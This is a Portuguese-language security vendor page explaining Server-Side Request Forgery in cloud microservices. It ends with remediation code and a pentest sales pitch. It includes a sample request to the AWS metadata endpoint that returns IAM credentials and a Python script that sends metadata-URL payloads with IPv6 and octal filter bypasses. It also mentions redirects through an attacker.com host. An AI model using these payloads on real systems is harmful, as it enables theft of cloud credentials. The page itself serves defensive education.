SSRF — Falsificação de Requisição do Lado do Servidor
SSRF em microsserviços Cloud permite ler credenciais IAM do AWS via metadata endpoint. Veja bypass de filtros e como proteger sua infraestrutura.
O Que É SSRF
Server-Side Request Forgery (SSRF) permite que um atacante force o servidor da aplicação a fazer requisições HTTP para destinos arbitrários — incluindo serviços internos, metadados de cloud (AWS IMDSv1, GCP metadata server) e outros microsserviços protegidos por firewall. Em arquiteturas de microsserviços, um SSRF vira pivô para comprometimento total da infra.
Exemplo Real de Ataque
POST /api/v1/preview
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role"}
HTTP/1.1 200 OK
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI...",
"Token": "AQoDYXdzEJr..."
}Script de Exploração
# Bypass de allowlist via DNS rebinding
# 1. Configure DNS para responder com IP público, depois trocar para 169.254.x.x
# 2. Use redirecionamentos: https://attacker.com/redirect?to=http://internal
import requests
ENDPOINT = "https://target.com.br/api/v1/preview"
payloads = [
"http://169.254.169.254/latest/meta-data/",
"http://[::ffff:169.254.169.254]/latest/meta-data/", # IPv6 bypass
"http://0251.0376.0251.0376/latest/meta-data/", # Octal bypass
"http://metadata.google.internal/computeMetadata/v1/",
]
for p in payloads:
r = requests.post(ENDPOINT, json={"url": p})
if r.status_code == 200 and "AccessKeyId" in r.text:
print(f"[SSRF RCE CHAIN] {p}: {r.text[:200]}")Impacto no Negócio e Compliance
Em cloud (AWS/GCP/Azure): roubo de credenciais IAM via http://169.254.169.254/latest/meta-data/, comprometimento de clusters EKS/GKE, execução de comandos em outros microsserviços. Em on-prem: acesso a serviços internos (Redis, Elasticsearch, bancos de dados) não expostos publicamente. CVSS 8.8 — impacto crítico.
Como Remediar
# ✅ REMEDIAÇÃO: Allowlist rigorosa + bloqueio de ranges privados
import ipaddress
from urllib.parse import urlparse
BLOCKED_RANGES = [
ipaddress.IPv4Network("169.254.0.0/16"), # Link-local
ipaddress.IPv4Network("10.0.0.0/8"), # RFC 1918
ipaddress.IPv4Network("172.16.0.0/12"),
ipaddress.IPv4Network("192.168.0.0/16"),
ipaddress.IPv4Network("127.0.0.0/8"),
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False
# Resolve DNS e valide IP
import socket
ip = socket.gethostbyname(parsed.hostname)
ip_obj = ipaddress.IPv4Address(ip)
return not any(ip_obj in net for net in BLOCKED_RANGES)Como a Veyronn Detecta Esta Vulnerabilidade
Utilizamos listeners OOB (Out-of-Band) em nossa infraestrutura para detectar callbacks cegos (Blind SSRF) e validamos acesso a metadados cloud com probes reais. Testamos bypass de allowlists via DNS rebinding, redirecionamentos e encoding.
Vulnerabilidades Relacionadas
Pronto para Contratar seu Próximo Pentest?
Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.
